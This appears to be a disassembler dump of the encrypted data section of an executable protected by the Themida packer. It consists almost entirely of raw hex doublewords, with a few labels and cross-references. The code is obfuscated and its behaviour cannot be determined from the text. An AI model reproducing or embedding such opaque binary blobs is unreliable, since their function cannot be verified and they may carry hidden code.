dd 24348159h, 4CF96267h, 0FF91C680h, 70D6995h, 0CBE18006h
dd 2A219D8Bh, 0B58D0607h, 60DCE34h, 0E852006Ah, 3, 5AC35A20h
dd 4245489h, 4244481h, 1Dh, 0BCC35242h, 11335805h, 0EC4540E1h
dd 7D9D8982h, 52060720h, 5ACEB70Fh, 694606C7h, 6A656Ch
dd 3E857h, 5F200000h, 7C895FC3h, 44810424h, 150424h, 57470000h
dd 8B4AE1C3h, 727F1BDh, 446C706h, 636E6F6Dh, 0E851006Ah
dd 3, 59C35920h, 4244C89h, 4244481h, 1Bh, 74C35141h, 2B540FB8h
dd 0F850D0AEh, 6850Fh, 0BD8B0000h, 60700D5h, 6C0846C7h
dd 6A737361h, 3E85100h, 20000000h, 8959C359h, 8104244Ch
dd 1D042444h, 41000000h, 23B1C351h, 15B4C4F6h, 11291986h
dd 0C46C7h, 8B000000h, 6A006ACAh, 3E85700h, 20000000h
dd 895FC35Fh, 8104247Ch, 1D042444h, 47000000h, 6014C357h
dd 4136CC6Dh, 91C3A0B9h, 7E9h, 0D5F97500h, 1A83FA23h, 1D95958Bh
dd 858D0607h, 60DCE34h, 0E856006Ah, 3, 5EC35E20h, 4247489h
dd 4244481h, 1Bh, 7CC35646h, 0E0055411h, 906997C7h, 5050E6B5h
dd 8B310F52h, 90585AC8h, 95FFF18Ah, 60700C1h, 0E853006Ah
dd 3, 5BC35B20h, 4245C89h, 4244481h, 1Dh, 0AEC35343h, 5C03A336h
dd 0A81E9B98h, 0FC00B03h, 4A84h, 50006A00h, 3E8h, 0C3582000h
dd 24448958h, 24448104h, 1A04h, 0C3504000h, 375F7F3Ch
dd 0FA9EDD4h, 0D86h, 8E900h, 66310000h, 46C19AA2h, 0C88A7966h
dd 2F5D9509h, 2DE90607h, 52000000h, 2BD8D8Bh, 0E95A0607h
dd 0FFFFFA84h, 0E850006Ah, 3, 58C35820h, 4244489h, 4244481h
dd 15h, 0DFC35040h, 0D1BF0F7Fh, 6FE4B58Dh, 6A0607h, 3E855h
dd 5D200000h, 6C895DC3h, 44810424h, 190424h, 55450000h
dd 0A6CB3AC3h, 0BB91F5B3h, 78C5F3FFh, 7CDBD8Bh, 0B80607h
dd 0FF000000h, 51006AE6h, 3E8h, 0C3592000h, 244C8959h
dd 24448104h, 1504h, 0C3514100h, 0C18B7F5Dh, 0D68B8D8Dh
dd 6A060Dh, 3E852h, 5A200000h, 54895AC3h, 44810424h, 190424h
dd 52420000h, 3C8876C3h, 0FFE855Bh, 681h, 0CD858900h, 8906070Eh
dd 71AD98Dh, 10E806h, 0FDD50000h, 0CA3D9A7h, 0E15C7ADBh
dd 0D3B1A725h, 0CA800D3Ah, 85C75A94h, 607101Dh, 581Ch
dd 0E856006Ah, 3, 5EC35E20h, 4247489h, 4244481h, 1Ch, 20C35646h
dd 1FDCA64Ah, 0E58F1852h, 2819B58Bh, 85C70607h, 6073305h
dd 0
dd 820270BFh, 51B5FF25h, 81060713h, 9C060FC0h, 5995FF47h
dd 6A060718h, 3E85500h, 20000000h, 895DC35Dh, 8104246Ch
dd 1C042444h, 45000000h, 8756C355h, 73EB5A94h, 669510B3h
dd 6AF682BBh, 6995FF00h, 8B06070Dh, 0DD29EBC0h, 0A0F85E52h
dd 97926708h, 26ACBA8Ah, 0D0A6928h, 0ED04C79h, 32AAB3ADh
dd 0E356821h, 759A3E78h, 0EFE31BA1h, 0BF274AA3h, 75FDED55h
dd 76F67A5Eh, 56E669A4h, 0D3FD49BCh, 31FD2069h, 76FD2047h
dd 0D4FD2050h, 0C6FD20D9h, 0BCFD201Ch, 85FD20FEh, 7AFD208Fh
dd 51FD2036h, 9CFD206Ah, 55FD2044h, 0CEFD2050h, 2BFD20DBh
dd 8FD201Dh, 0D5FD20FFh, 91FD208Eh, 0E5FD2035h, 9DFD2069h
dd 95358A25h, 76D6A222h, 5CDE714Ah, 5CF44BBDh, 75FD7A5Ah
dd 75F57227h, 74FD7997h, 73FD78CBh, 74F57DEDh, 74FC7BF3h
dd 75FC7B78h, 75FD7ABCh, 76FD7A5Eh, 75A753DDh, 75A750B5h
dd 75FD7ACBh, 74FC7BE4h, 74FC7BF3h, 75F8B290h, 0F0701ABCh
dd 73F0A08Fh, 0A2F5FFA6h, 0F0707C9Ah, 73F0A02Ch, 0A335FF6Ch
dd 0F0707CFFh, 73F0A15Ch, 0A2F9FF35h, 0F0707C53h, 73F0A0AAh
dd 0A331FF1Eh, 0F0707CC6h, 73F0A0A1h, 0A32DFF7Bh, 0F0707C74h
dd 73F0A25Eh, 0A329FFD7h, 0F0707C22h, 73F0A263h, 0A325FF42h
dd 0F0707CE8h, 73F0A3F8h, 0A321FFF0h, 0F0707CB1h, 73F0A33Bh
dd 0A315FFA6h, 0F0707C9Ah, 73F0A3FAh, 0A31DFF6Ch, 0F0707CFFh
dd 73F0A329h, 0A319FF35h, 0F0707C53h, 73F0A34Ah, 0A315FF1Eh
dd 0F0707CC6h, 73F0A37Ah, 0A305FF7Bh, 0F0707C74h, 73F0A302h
dd 0A301FFD7h, 0F0707C22h, 73F0A376h, 0A2FDFF42h, 0F0707CE8h
dd 73F0A0D8h, 0A311FFF0h, 0F0707CB1h, 73F0A03Fh, 0A30DFFA6h
dd 0F0707C9Ah, 73F0A037h, 0A309FF6Ch, 0F0767CFFh, 73FA4A20h
dd 0A2BCFF35h, 0F0767C53h, 73FA6216h, 0A2B8FF1Eh, 0B69C7CC6h
dd 9D11F1B0h, 75FD7AF2h, 2017FB23h, 25FB7764h, 0FDF53FD5h
dd 782A3AADh, 0B7342291h, 23AC7ACFh, 20AD29B7h, 75FD7A1Ah
dd 987C2779h, 73F0A2CAh, 0A33AFFA0h, 0C87D7C22h, 73F0AC50h
dd 0C5B409CFh, 0B54B75E4h, 3589BAF9h, 0A2B8EF86h, 0FEBD7CB1h
dd 7A452B96h, 8AFD7A2Fh, 782A3F02h, 0BD48F7CDh, 0F8FB7733h
dd 9D50FCC6h, 75FD7E4Bh, 76456FCFh, 8AFD7A5Eh, 782A3FBAh
dd 0BD48F791h, 0F8FB771Dh, 8A50FCD1h, 0BC1F2322h, 0A33AF787h
dd 2DA07CB1h, 2CA32005h, 776D92ECh, 0CD4D7A97h, 8A5779C1h
dd 782A3B70h, 9D3ED1F4h, 75FD7807h, 0CD9BC2DAh, 0DE9B5954h
dd 0A2BCEFD0h, 0DE9B7C9Ah, 77959208h, 360B7AE5h, 6E8872F3h
dd 0A2BCEF86h, 0C54D7CB1h, 8AAD7954h, 782A3BBAh, 0F69B2091h
dd 7E9B7E2Bh, 0B6561C27h, 75FF6B1Ah, 4E152979h, 2FFD7ABEh
dd 7B89A065h, 913D59A5h, 0F5DF7094h, 0FE4DBA07h, 9D3ED183h
dd 75FD7B00h, 77E1922Ah, 4EA77ABCh, 0C5120E84h, 0A916D049h
dd 75FCA77Fh, 74BE8CCBh, 26D30FEDh, 75FF7B1Ah, 360B2079h
dd 548872BDh, 6889A065h, 913D59A5h, 0F5DF7094h, 0FF4DBA07h
dd 346885B5h, 2FFB7725h, 51FD5F1Fh, 133F71DAh, 0E94DB9F5h
dd 74BD9285h, 0F44D7A97h, 74359261h, 2D157AE5h, 0DEFD7AF2h
dd 75FC5791h, 0DF60CABCh, 0DF61CA9Dh, 75FC5BC7h, 13451C97h
dd 9D561C4Ah, 75FD7B43h, 75FD4C1Ah, 9D561C79h, 75FD7BB6h
dd 0B657E7EEh, 9D57E69Fh, 75FD7A69h, 75FCF323h, 74BE8CE5h
dd 0C5F20FFAh, 6515D0F9h, 0DFFD7ABCh, 7DF99EDEh, 0AA158448h
dd 0C5FD7A97h, 0CD3ED056h, 75FD7AE2h, 0A2B8EF0Dh, 0C0707C74h
dd 73F0ADB0h, 7F518A5Dh, 0E002D02Ch, 73F0ADD6h, 74E59208h
dd 254D7AE5h, 9D5779F8h, 8A02844Bh, 75FC4354h, 7FA5CA5Eh
dd 0C53ED02Ch, 274DD0C7h, 8BE19261h, 0CD9B851Ah, 0DE9B4BFDh
dd 8A036B91h, 0DFA7CA43h, 0B65722EEh, 2257929Fh, 750C923Ch
dd 0FEA77ACBh, 0F63F5122h, 77747E1Ah, 8A008B91h, 75059243h
dd 2D4D7A5Eh, 0B6577925h, 0A343FF69h, 0C87D7CC6h, 73F0AC5Bh
dd 0F8EC0FF3h, 782A4AFCh, 61152ABAh, 9DFD7A5Ch, 75FD781Bh
dd 9D571A27h, 8A028775h, 8A00C30Dh, 0DF9CCA0Dh, 0A343F787h
dd 0C87D7CB1h, 73F0ACE0h, 0F8F10F2Fh, 782A4A12h, 0DE152ACDh
dd 0B6FD7AE4h, 75FD7E4Ah, 30688579h, 0F8FB776Bh, 7826F7C3h
dd 6DF9F029h, 9C4DB93Dh, 9D562D61h, 75FD7A8Eh, 5E3AF1A8h
dd 7115F9BBh, 8A3E7835h, 782A3BCBh, 514ACE29h, 0C1FF0E96h
dd 13F2CA74h, 75C9924Eh, 9DAE7AF2h, 75FD7A27h, 0B5FEF0E6h
dd 0B5F179BEh, 0B6577825h, 0A2BCEF68h, 917D7CC6h, 0F539FAEAh
dd 0DE9B7542h, 5A15D12Eh, 2F028541h, 0B7D6BDD5h, 0FCF992ACh
dd 7345B995h, 8AFD7ACBh, 782A3F70h, 5160F7F4h, 0F8FB77AEh
dd 0CD3E39A0h, 75FD7A4Eh, 0A2B8EFD0h, 0B57E7C9Ah, 8935F1CEh
dd 0A2BCEF1Ah, 97577CFFh, 0BE15B98Eh, 0FF028543h, 72D97B1Dh
dd 76778E5Ah, 75FC6C7Fh, 0B61608CBh, 8908831Dh, 0F611F1A7h
dd 9D9D86BDh, 75FD7ABCh, 0E817FB04h, 0FCFB77F4h, 0CF7D86EAh
dd 73F0AD8Bh, 0EC7975E5h, 0CDFD7AF2h, 75FD7A73h, 0A2B8E843h
dd 0FCBD7C53h, 782A33ADh, 0F835F191h, 78210B79h, 346F85E3h
dd 0FDFB7725h, 801F3C7Fh, 75FD6D04h, 3C7F795Eh, 35FB77F8h
dd 0A998E01Ah, 0B67E7CC6h, 22FEF3E1h, 75FD644Bh, 3C777979h
dd 0F8FB776Bh, 782129ECh, 2B598929h, 75FD722Fh, 306F85CBh
dd 0F6FB7732h, 85897E0Ah, 72447C71h, 7DFD7ABCh, 0C3F24B5Ah
dd 761EBBF7h, 75FD742Eh, 44E172CBh, 75FD765Ch, 44F972F2h
dd 75FD61C0h, 44F972BCh, 75FD66E7h, 44F9722Fh, 8A015B7Fh
dd 8980F334h, 8980F184h, 9DADB93Bh, 75FD7A7Fh, 1102229Ch
dd 0FCA58E7Ah, 0E9055E6Bh, 89D93E16h, 67C92CB3h, 0B6AD3A78h
dd 75FD7AF2h, 75FD7A79h, 0FEA87ABCh, 75151AB2h, 2FFD7A2Fh
dd 0A9799016h, 0CF707CC6h, 73F0ADA8h, 0CCF50F79h, 75FD7A71h
dd 0BC9CDE4Fh, 26FD7E9Ch, 0A2B0E7A2h, 497D7C9Ah, 71887BD3h
dd 771683BEh, 203E82A9h, 9D9D96F2h, 75FD7ABCh, 0C817FB04h
dd 0F8FB77F3h, 782A3725h, 7D80F1CDh, 75FD725Ch, 145989F2h
dd 75F9B8B0h, 3840F7DCh, 46FB7789h, 75F5C3EFh, 0DF0E7A97h
dd 0F89DB9AAh, 782A3758h, 74C2FBF4h, 0FC7B78h, 7182FBB0h
dd 74FC7B5Fh, 9E04795Ah, 0B69C8296h, 3840F7ABh, 0CDFB7732h
dd 75FD7AF3h, 75FD72C0h, 145789BCh, 0FE3DF19Dh, 2F78F7EFh
dd 8AFB7740h, 0E9CA8BD0h, 3Bh, 0ADBD8B60h, 83060712h, 0C93304EFh
dd 20BBC18Bh, 83EDB883h, 8BE04C7h, 0D1000000h, 23D21BE8h
dd 4EC233D3h, 0FFF1850Fh, 8941FFFFh, 0F98107h, 0F000001h
dd 0FFFFD382h, 8BC361FFh, 1DCAFEC8h, 92A80B04h, 588A4F8Ch
dd 0ABA80B05h, 3075EAD5h, 98A80B05h, 0BA8A4F8Dh, 7557AE5Dh
dd 208A4F82h, 0ABA80B0Ah, 0EB75EAD5h, 0BBA80B0Ah, 758A4F82h
dd 25A80B0Bh, 0EF8A4F83h, 0ABA80B0Bh, 2575EAD5h, 8A31D42Fh
dd 0C0031327h, 52A58CD2h, 9A8D90A7h, 0D12157AFh, 4387C85Eh
dd 8BF6D42Fh, 0C0031327h, 52A58CDAh, 9A3C90A7h, 0D12157AFh
dd 4387C8AAh, 0B4A5D42Fh, 0C0031327h, 52A58C26h, 0A5E890A7h
dd 0D12157AFh, 4387C8A6h, 0B40ED42Fh, 0C0031327h, 52A58C32h
dd 0A56590A7h, 0D12157AFh, 4387C8B2h, 0B598D42Fh, 0C0031327h
dd 52A58C3Eh, 0A4FB90A7h, 0D12157AFh, 4387C88Ah, 0B51AD42Fh
dd 0C0031327h, 52A58C06h, 0A46190A7h, 0D12157AFh, 4387C882h
dd 5012B8C3h
dd 0CEDF152Ah, 0A86CD24Eh, 458AFD4Ah, 0D5F251A2h, 485446C0h
dd 0A8ED96A4h, 458A152Ah, 67A02429h, 0BAB496E3h, 54A1D5ADh
dd 0C6CB152Ah, 0BA415564h, 0CE75EAD5h, 6D3AAE63h, 848C1232h
dd 11AB5342h, 55FFEA22h, 0ABA4245Dh, 0B9CF9C3Ah, 0A8EDDAC3h
dd 4586D7E3h, 0D744DAF7h, 0CEEAE9EEh, 292359D7h, 0B9CFD226h
dd 54A851A2h, 4162AD6Ch, 660351A2h, 0EE27BFEAh, 8CC3DB2Fh
dd 94751327h, 0D9020112h, 48527EA0h, 0EC79AEA4h, 41AE51A1h
dd 3F22DC09h, 0BA8C18F2h, 0DF103773h, 0C821732Ah, 59703A28h
dd 0FD5BEA2Ch, 508C152Bh, 2E009881h, 0ABAE5C7Ah, 0EFD2A5FBh
dd 0DDA42C89h, 0CEEBE957h, 9661ADE7h, 0CEDF1522h, 0A86CD24Eh
dd 458AFD4Ah, 0D5F251A2h, 485506C0h, 5CDDDAA4h, 828668A1h
dd 54A8ADE7h, 0BACC152Ah, 53980830h, 0CE529E2Ch, 9783FC69h
dd 0EFE2A5B9h, 0D9F9FA31h, 48527EA0h, 0D79AEA4h, 2320949Ah
dd 328C551Ah, 6E218481h, 29215DDFh, 174D6h, 5C6A985Eh
dd 0A901402Ah, 34549521h, 458A15C2h, 0BE290BA2h, 4387CA40h
dd 0DFA02429h, 4D1957h, 54A8515Eh, 0D775532Ah, 52AF61FBh
dd 0CE19CDA1h, 979BFC69h, 0EFE2A5B9h, 0D9F9FA31h, 48527EA0h
dd 0D79AEA4h, 2320949Ah, 328C651Ah, 6E218481h, 29215DDFh
dd 174D6h, 5C6A985Eh, 0A901402Ah, 34549521h, 0CE8260A1h
dd 116F5DDFh, 458A15D6h, 953BFDA2h, 97B91DC9h, 0DE049191h
dd 454A38F2h, 0A82851A2h, 5E0E1AD5h, 0EDA851A2h, 458A1523h
dd 862DA055h, 45869025h, 0A32851A2h, 8E4B7332h, 972337AAh
dd 38A1BE4Ch, 0A8D5D8AEh, 0B9CF9E4Bh, 54A0936Bh, 0C6669E7Fh
dd 0DFC8AD66h, 38011D5Fh, 0A8ED96AEh, 458A152Ah, 0B769C20Eh
dd 76582622h, 8C22FD62h, 458AD507h, 0AB54D1A2h, 45939125h
dd 5D1151A2h, 0B28A152Ah, 5B7AD453h, 458A1FAFh, 5610E0A2h
dd 0EF4B93E2h, 7F039191h, 38031957h, 1123305Eh, 4D48DCD6h
dd 0B82304A2h, 2576D1A9h, 0DFA02429h, 4D1957h, 54A8515Eh
dd 9D00B92Ah, 0D4A7B222h, 860085E1h, 3F22DC08h, 0BA8C18F2h
dd 0FEF8E173h, 9DE19FA7h, 855757AFh, 6E20D6A0h, 29215DDFh
dd 174D6h, 5C6A985Eh, 0A901402Ah, 34549521h, 0CE8260A1h
dd 116F5DDFh, 458A15D6h, 54AFE9A2h, 0D775152Ah, 52AF499Bh
dd 0C8204526h, 59703A28h, 0F55BEA2Ch, 949BFB2Bh, 2E853186h
dd 50AC5962h, 0EFAEA580h, 0DDA42C89h, 0CEEBE957h, 9661ADE7h
dd 0CEDF1522h, 0A86CD24Eh, 4DFF9E4Ah, 93A42C29h, 458AE96Fh
dd 0FE0451A2h, 75D387D5h, 8C2357A5h, 0EF491786h, 8CC3DB2Fh
dd 94751327h, 0BD28E9C4h, 8600BE4Ch, 58D57A08h, 247668A3h
dd 9D541429h, 108A1DE8h, 902BBD29h, 300175D6h, 58D5DAAAh
dd 457650EDh, 0F8A851A2h, 1C18EA80h, 0DFAE5692h, 8558B9E2h
dd 3F32DC08h, 0BA8C18F2h, 94103771h, 0CF2173E3h, 2983FB63h
dd 0B9F79C26h, 0A8EDDAC3h, 4582D7E3h, 0D744DAF7h, 0CEEAE9EEh
dd 292359D7h, 0B9CFD226h, 54A851A2h, 0D775BF86h, 52AF61FBh
dd 7726DDA1h, 0CE25FB63h, 4387CD41h, 0ECCE825Dh, 0EEECE4AAh
dd 7F029028h, 38031957h, 1123305Eh, 4D48DCD6h, 0B82304A2h
dd 2576D1A9h, 0DFA02429h, 4D1957h, 54A8515Eh, 7732732Ah
dd 0D903376Bh, 48527EB0h, 327BAEA4h, 234B9592h, 0FE04FD09h
dd 0CC866801h, 0DFC9ADDFh, 8743E96Fh, 0DFFD51AAh, 0B94E96C6h
dd 5CDDDAC2h, 828668A1h, 54A8ADE7h, 0FDEC152Ah, 0FFCEB824h
dd 9DE18FA7h, 875757AFh, 320A09Ah, 0CE25FB0Eh, 4387CD41h
dd 0ECCE825Dh, 0EEECD8ACh, 0DDA42C89h, 0CEEBE957h, 9661ADE7h
dd 0CEDF1522h, 0A86CD24Eh, 458AFD4Ah, 0D5F251A2h, 48682EC0h
dd 0A8ED96A4h, 458A152Ah, 0DFA02429h, 79261957h, 1E2C5E91h
dd 798A152Ah, 162C5E89h, 798A152Ah, 492C5ECAh, 798A152Ah
dd 382C5E13h, 798A152Ah, 5C2A5EF2h, 798A152Ah, 6B2A5EFAh
dd 0AC8A152Ah, 54A851D6h, 0BA8660D5h, 0CE2559D7h, 4387C85Ah
dd 1332DCF1h, 0BA8C18F4h, 0A8EDD871h, 458A42C3h, 58DDAEA2h
dd 0C88260D5h, 5975D138h, 0DF07462Ch, 52A58FE5h, 3C6D5h
dd 5492B85Eh, 3075152Ah, 5CDDAEAEh, 98068FA7h, 0D9FB57AFh
dd 485452B0h, 0DD7BAEA4h, 5863E96Fh, 0ABA851A2h, 3075195Fh
dd 0CC32DCAAh, 168C18F7h, 8AEFCB2Fh, 96751327h, 0BD54142Bh
dd 458A152Ah, 0A8EDDAC3h, 4582D7E3h, 3044BAh, 12E800h
dd 9D340000h, 9FE7046Ah, 6E384FC4h, 5F722BE8h, 5B6ABA80h
dd 59D68B66h, 5E9h, 27843000h, 0C1814B49h, 7051h, 4E7ACB81h
dd 0E6BF17B7h, 6600001Bh, 0FFAA1EBBh, 0FE931h, 0C5A40000h
dd 6C75E7CAh, 0EFD23E00h, 0B27A6978h, 0D18A5E1Fh, 8573C681h
dd 0F5771EAh, 683h, 890F00h, 5A000000h, 0D567C681h, 81F96C4Ch
dd 661917C6h, 53B8667Fh, 0F831897Ah, 8B04E983h, 850F4FD6h
dd 1Ch, 0BE9h, 0F6AA4F00h, 0EEEC51BDh, 7B2BAFAAh, 26E9h
dd 0A4EC6700h, 0DD9D39F7h, 0EE9h, 7A2DB100h, 2CA9FBBEh
dd 2D593BECh, 0E9DF0E52h, 0FFFFFF7Fh, 0B4E01C53h, 8D1B24A1h
dd 0DE4598Dh, 57006A06h, 3E8h, 0C35F2000h, 247C895Fh, 24448104h
dd 1D04h, 0C3574700h, 0BB016363h, 1585200Dh, 8D8920EDh
dd 6071AD9h, 6E9h, 7A5C8500h, 0C79C8937h, 7101D85h, 66CC06h
dd 53006A00h, 3E8h, 0C35B2000h, 245C895Bh, 24448104h, 1404h
dd 0C3534300h, 585C704h, 60733h, 8B000000h, 70FA185h, 0D1B5FF06h
dd 8B060705h, 7131D85h, 5995FF06h, 8B060718h, 710F99Dh
dd 0FF006A06h, 70D6995h, 0EBC08B06h, 53D65D6Ch, 0AFF509C0h
dd 9A2D518Ch, 0CCBF0402h, 1B6D09E8h, 0A90852AFh, 0FBCFB43h
dd 150E8828h, 4D246358h, 558560FCh, 0D9E3ED16h, 0F07F8777h
dd 0C9CD08D6h, 8BA21102h, 5F45C5C1h, 660DF9FDh, 36C0BAB6h
dd 539F8C5Dh, 41937E7Bh, 57412C6Ch, 0A36491CAh, 0B8AE2369h
dd 114CE839h, 630A1F44h, 0B783ADDEh, 0FC8F39E9h, 1DC7362Ah
dd 0AFE9BAh, 2C5D0000h, 315D0499h, 2C5A0196h, 2655FC91h
dd 1C4FF68Bh, 4159F489h, 2DC25386h, 27BC5986h, 1EB34E80h
dd 1BB04777h, 81F2E04Eh, 0CC43960Eh, 0FD2CE3B5h, 7A3BBD64h
dd 0FC95C44Bh, 0FF2DBC55h, 8324BD64h, 0DE4F3DEDh, 2949A3F2h
dd 79656C56h, 0C00AA2C1h, 0D671A14Ah, 66AC962Fh, 49661AD9h
dd 2365E3D8h, 1C87B249h, 0C4D48E0h, 0C3000000h, 7C4CA225h
dd 0B6AC8E0Ch, 2C1BFDCCh, 3CC36AFBh, 4BD2790Ch, 50D77E19h
dd 5CE38A23h, 6AF19829h, 70F79E37h, 7A01A841h, 830AB14Ch
dd 6711B857h
dword_5AAD2C dd 0DE4CF68h, 980DE906h, 8131FFF9h, 1205DE8Bh, 0E56DB80Eh
; DATA XREF: Themida_:0053DC68o
dd 0C503060Dh, 9E8h, 0ACB75000h, 8107072Dh, 0BF667B81h
dd 815B22B2h, 70D0C3h, 0A9858900h, 0B8060714h, 8EAD0A6h
dd 0B492E881h, 10E908EAh, 84000000h, 0DF0DE830h, 0D9DE983h
dd 27579442h, 8B3C0222h, 81D68B33h, 0AC0091EEh, 91C78147h
dd 81329215h, 0D696DAF6h, 658D8B60h, 8106070Eh, 8EF275C6h
dd 11B5895Bh, 89060707h, 158D0933h, 8306072Fh, 816604EBh
dd 81F90CDFh, 1E8h, 0BC850F00h, 31FFFFFFh
db 85h
byte_5AADC9 db 25h, 29h, 7 ; DATA XREF: Themida_:0053D924o
; Themida_:0053F7FCo
dd 0DE04EB06h, 0E9467BEBh, 0CFCh, 0DE83668h, 9761E906h
dd 3C68FFF9h, 0E9060DE9h, 0FFF99757h, 0DE9DF68h, 974DE906h
dd 6E68FFF9h, 0E9060DEAh, 0FFF99743h, 0DED6168h, 9739E906h
dd 7468FFF9h, 0E9060DF0h, 0FFF9972Fh, 0DF18768h, 9725E906h
dd 9CCDFFF9h, 0A1CD7409h, 9CCA7106h, 96C56C01h, 8CBF66FBh
dd 0B1C964F9h, 9D32C3F6h, 972CC9F6h, 8E23BEF0h, 8B20B7E7h
dd 0F16250BEh, 3C43960Bh, 3B6E1725h, 0B52614AAh, 43960Ch
dd 2C77432Dh, 3AC168F9h, 27D76D08h, 0A3F2C839h, 56401349h
dd 0CBF8A14Fh, 8F28B32h, 0CF655DE5h, 0B45BFA26h, 3B29311Bh
dd 47A2ED89h, 42EB8154h, 758E7815h, 0D84937E7h, 23439CEDh
dd 0B3206650h, 0E0439CEDh, 28AD33FDh, 0B21FB5C1h, 47h
dd 8A820A16h, 0DF8406F4h, 0DCAF47A2h, 0D46F9D46h, 9805D1EAh
dd 0DC439CBFh, 0DE6C13AEh, 9CBF7FF0h, 68F7CA43h, 0C74FD435h
dd 0FA632CFFh, 4801B259h, 8983EFEh, 0EE95305Fh, 6106B55h
dd 0B65D15C0h, 7C71Fh, 322B0000h, 82Ch, 497C25A8h, 8E7811B8h
dd 0AFDC5D8Dh, 0F2C23321h, 3A0D49A3h, 0CA51F899h, 9D66FB9Ah
dd 99871D15h, 47A307EFh, 0A230D7AAh, 0D79304F2h, 0BDE439Ch
dd 0D76EDB21h, 0B89B439Ch, 0DE10B96Eh, 9306B37Bh, 0B0515BDDh
dd 0E5686DC6h, 0DB5E1FB5h, 0AF03AC63h, 8527971Bh, 60D2A60Fh
dd 3E60543Eh, 0C4000000h, 0F48A820Ah, 0F5B91C4Bh, 3E1F55F3h
dd 0B64FF697h, 54D6C4CCh, 7F47A2DAh, 0CC3905ACh, 0F9439CBAh
dd 0FC60816h, 0B91FB5F8h, 70B80036h, 0EB4BE96Bh, 0D33E5BF7h
dd 0F1E5CF70h, 0ADh, 69FC2C55h, 6D083BC2h, 618F38C6h, 0F0861FC6h
dd 0A3F29102h, 1F09DC49h, 0B057EE1Eh, 0C95EF929h, 0A3EE10DDh
dd 11A4D449h, 6CDDCB7Bh, 0B749A3EDh, 4CF3FAE4h, 39E2891Ch
dd 3523B9B1h, 47A2FEFBh, 0EA9D596h, 870FD86Dh, 5E0BF98Fh
dd 29419531h, 0E417C056h, 0E215BC51h, 4661794Fh, 6A99F07Fh
dd 0A3DE9h, 30C5F600h, 2DC8F49Bh, 28C3F198h, 24BDEC93h
dd 1CB5E88Fh, 19D4EC87h, 0FB64BE6h, 7AE43E2h, 6AD42D5h
dd 0DDAA3FD6h, 0A10816Fh, 445B4396h, 68F92C72h, 0A1FC2CD3h
dd 0E7193617h, 0A30CA54Ch, 1A4665EAh, 0A439DA7Bh, 8A820A32h
dd 18406F4h, 0DCAF47A3h, 0E0FC6935h, 1240439Ch, 1749D077h
dd 7E11D57Ch, 3ECE74B0h, 0C8EB0B8Eh, 0F201BC5Bh, 9C78AD1Eh
dd 705DF843h, 3F4EF205h, 1C776102h, 509CC12h, 0FBF1FB6h
dd 9CA9B021h, 3E28FB43h, 0B54Ah, 0FC2CAE00h, 5AC4B7Bh
dd 8C35CB6Ch, 0BF20C75Ah, 652812A6h, 220CAD56h, 0B64F8209h
dd 2676430Fh, 0A3A49A3h, 7F28D66Bh, 0CDCEB84Fh, 54ED1C9Dh
dd 265FD0BEh, 0D7AA49A3h, 5EE68F36h, 0A8E2D066h, 3547A237h
dd 0DEC8598Ch, 0B37C11E4h, 0ED9D332Bh, 1580B16Ah, 301A3020h
dd 9537E2EAh, 0B0461941h, 0AC41D407h, 693FD205h, 0F07F5F2Bh
dd 37DF608Fh, 0F0000009h, 0EA9126BFh, 0E38A1FBEh, 0DE851AB5h
dd 0DA8116AFh, 0DE790EA7h, 3DD80BC6h, 39D401A8h, 38CBFDA4h
dd 39CCFCA3h, 7B69D7A4h, 4396090Ah, 2C6C3E55h, 2CD368F9h
dd 2AD369FCh, 21BA61FCh, 0DEC86592h, 0FC2C65D7h, 0B3BC269h
dd 0C942D76Ch, 5DF3EB73h, 0A2F8C56Fh, 26AD8047h, 0D9D8821Ah
dd 7068F0EBh, 0BA16ECDAh, 5E3197D6h, 8E860EB7h, 0D9950AF8h
dd 0EFB091CAh, 0F28829BCh, 5D901949h, 0E3841DC4h, 3EAF9D4Dh
dd 7B8DC639h, 0C6391C8Dh, 0C94678Dh, 0A1484F39h, 8400D671h
dd 0E647B22Dh, 89436B7h, 1C4D0000h, 214DF489h, 1C4AF186h
dd 1645EC81h, 0C3FE67Bh, 3149E479h, 1DB24376h, 17AC4976h
dd 0EA33E70h, 0BA03767h, 71E2D03Eh, 0BC439609h, 7C25D3A5h
dd 874CB550h, 8172E7D9h, 81B1B29Ch, 0E963FE6h, 24928016h
dd 6F47A20Dh, 2B5D069Ch, 3DDE77AAh, 6CCF01A8h, 0D5F00B90h
dd 35DC7D9Dh, 9B0AF869h, 1B8AF743h, 24AC439Bh, 52A8962Ch
dd 6D4199D8h, 285B049Ah, 0BE4DE68Dh, 0B750F78Eh, 0FD2DB4CDh
dd 8E1A946Ah, 3968F07Fh, 805B8h, 0F88DBE00h, 0F590BC63h
dd 0F08BB960h, 0EC85B45Bh, 0E47DB057h, 0E19CB44Fh, 0D77E13AEh
dd 0CF760BAAh, 0CE750A9Dh, 0A572079Eh, 8D84937h, 0C234396h
dd 95820A3Ah, 0A3F236A7h, 0DAE8149h, 0EF1EC777h, 0D0266C56h
dd 0EB47A2CFh, 3AE37118h, 2FC86F0Eh, 8F184445h, 6FE0CE62h
dd 0BA439CCFh, 69F46E7h, 0F426CF65h, 6CDDCB61h, 0B7439CCFh
dd 4CF3FAE4h, 6CEF8520h, 58CCC4ECh, 0BDD6C05Fh, 0FF958914h
dd 0A3CDCC4Fh, 0C6059C2Dh, 761D96DCh, 6538439Ch, 816F1FCFh
dd 439C7610h, 43B4885Bh, 8E439C76h, 4DB8D1BBh, 0E00C3A04h
dd 57C4B045h, 94439C76h, 3721BCEBh, 0FF958914h, 9C768C11h
dd 5FF4C743h, 4AF18CB8h, 9C75C97Eh, 0DA837943h, 528110ADh
dd 0A472CDB7h, 1AAF4E7Ah, 1A84773h, 0FB9ACA73h, 75AECB11h
dd 256E439Ch, 19A3261Bh, 58FC3D7Bh, 0F3B3C26h, 8712DB70h
dd 303FB09Eh, 0B78A439Ch, 24928016h, 6F439C30h, 0E329F59Ch
dd 802F7D4Ch, 884D939Dh, 3E9417E2h, 2587C1BBh, 362072F6h
dd 16042h, 820AA600h, 4806F48Ah, 0F347A30Ah, 31DA8A20h
dd 0AF4A7801h, 27CE6F08h, 73A3A48Eh, 68983FD4h, 0F5A26CDh
dd 92C25A3Eh, 0D70731FFh, 0D404AB40h, 66F19A41h, 736DD72h
dd 12B95480h, 16DC1079h, 1BF0F37Ch, 1C4CD37Ah, 2AD16C9Bh
dd 0D75AF091h, 4EFEE648h, 29301A92h, 1DB35282h, 5AC4574h
dd 77E8D66Ch, 0C2BC5606h, 20EC05EFh, 0ADCF7185h, 56CB55E8h
dd 5047B8A6h, 0BF9249CBh, 11A4D4D5h, 0F725CE7Ch, 4171725Ch
